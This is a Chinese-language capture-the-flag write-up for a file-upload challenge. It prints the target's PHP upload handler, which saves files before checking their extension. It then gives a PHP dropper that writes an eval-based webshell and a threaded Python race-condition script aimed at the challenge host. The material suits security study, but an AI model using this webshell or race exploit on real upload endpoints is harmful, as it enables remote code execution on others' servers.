【无标题】攻防世界web进阶区 泰山杯 wzsc_文件上传

攻防世界web进阶区 泰山杯 wzsc_文件上传

进入环境发现有个上传，先传个图片进去看看
上传后页面跳转到upload.php

猜测一下图片保存在upload路径下，试着访问图片
能正常访问，然后试着上传shell，上传后发现不能访问

网站代码如下

<?php
    $allowtype = array("txt","jpeg","bmv","doc","docx","gif","png","jpg");
    $size = 10000000;
    $path = "./upload/";

    $filename = $_FILES['file']['name'];

    if (is_uploaded_file($_FILES['file']['tmp_name'])){
        if (!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
            exit();
        }   
    } else {
        exit();
    }

    $newfile = $path.$filename;

    if ($_FILES['file']['error'] > 0){
        unlink($newfile);
        exit();
    }

    $ext = array_pop(explode(".",$_FILES['file']['name']));
    if (!in_array($ext,$allowtype)){
        unlink($newfile);
        exit();
    }
?>

审计代码发现对文件后缀进行白名单限制了，这里我们可以用竞争绕过

竞争原理
1.网站允许上传任意文件，然后检测文件中若有webshell，就删除文件；若不是指定类型文件，那么就使用unlink删除文件
2.在删除之前访问上传的php文件，从而执行上传文件中的php代码

上传代码如下

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

使用burp suite配合脚本进行竞争
脚本如下

import requests
import threading
import os

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)

        self.url = 'http://61.147.171.105:57576/upload/a.php'
        self.uploadUrl = 'http://61.147.171.105:57576/upload/shell.php'

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print('[*] create file shell.php success.')
            os._exit(0)

    def _upload(self):
        print('upload file...')
        rs = requests.get(self.uploadUrl)
        if rs.status_code == 200:
            print('[*] create file shell.php success.')
            os._exit(0)

    def run(self):
        while True:
            for i in range(5):
                self._get()

            for i in range(10):
                self._upload()
                self._get()

if __name__ == '__main__':
    threads = 50

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join()

burpsuite重复发包

脚本读取上传

成功上传shell，然后快乐的去读flag了